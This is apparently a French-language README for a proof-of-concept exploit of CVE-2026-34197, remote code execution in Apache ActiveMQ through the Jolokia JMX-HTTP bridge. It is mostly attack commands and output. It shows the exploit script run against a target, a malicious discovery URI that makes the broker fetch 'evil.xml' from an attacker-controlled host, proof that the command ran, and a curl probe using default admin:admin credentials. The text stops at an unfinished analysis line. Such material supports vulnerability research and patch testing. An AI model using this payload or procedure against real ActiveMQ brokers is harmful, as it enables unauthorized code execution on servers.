lat-06/cve-2026-34197Exploit de preuve de concept pour CVE-2026-34197, démontrant une exécution de code à distance authentifiée dans Apache ActiveMQ via la passerelle Jolokia JMX-HTTP et l'injection de bean Spring XML.
Description
Vulnérabilité de validation d’entrée incorrecte et de contrôle incorrect de la génération de code (injection de code) dans Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic expose le pont Jolokia JMX-HTTP à /api/jolokia/ sur la console Web. La politique d’accès par défaut de Jolokia autorise les opérations exec sur tous les MBeans ActiveMQ (org.apache.activemq:*), y compris BrokerService.addNetworkConnector(String) et BrokerService.addConnector(String). Un attaquant authentifié peut invoquer ces opérations avec un URI de découverte spécialement conçu qui déclenche le paramètre brokerConfig du transport VM pour charger un contexte d’application Spring XML distant à l’aide de ResourceXmlApplicationContext. Étant donné que ResourceXmlApplicationContext instancie tous les beans singleton avant que BrokerService ne valide la configuration, l’exécution de code arbitraire se produit sur la JVM du courtier via des méthodes de fabrique de beans telles que Runtime.exec(). Ce problème affecte Apache ActiveMQ Broker : avant 5.19.4, à partir de 6.0.0 avant 6.2.3 ; Apache ActiveMQ All : avant 5.19.4, à partir de 6.0.0 avant 6.2.3 ; Apache ActiveMQ : avant 5.19.4, à partir de 6.0.0 avant 6.2.3. Il est recommandé aux utilisateurs de mettre à niveau vers la version 5.19.4 ou 6.2.3, qui corrige le problème
Plus d'informations sur : lien
Github: lien```bash ❯ docker compose up -d
INPUT:```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
Avec LHOST, il s'agit de l'adresse IP privée de l'ordinateur. Vous pouvez utiliser ipconfig sous Windows ou ifconfig sous Linux
Vérification de la RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE réussie, le fichier `blahblah.txt` a été créé sur le système cible.
# Phase d'analyse
## Analyse dynamique```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
Les logs d'exécution ont également confirmé que Jolokia était activé et exposé via la console web ActiveMQ :```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Vérifiez la connexion```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Cela signifie :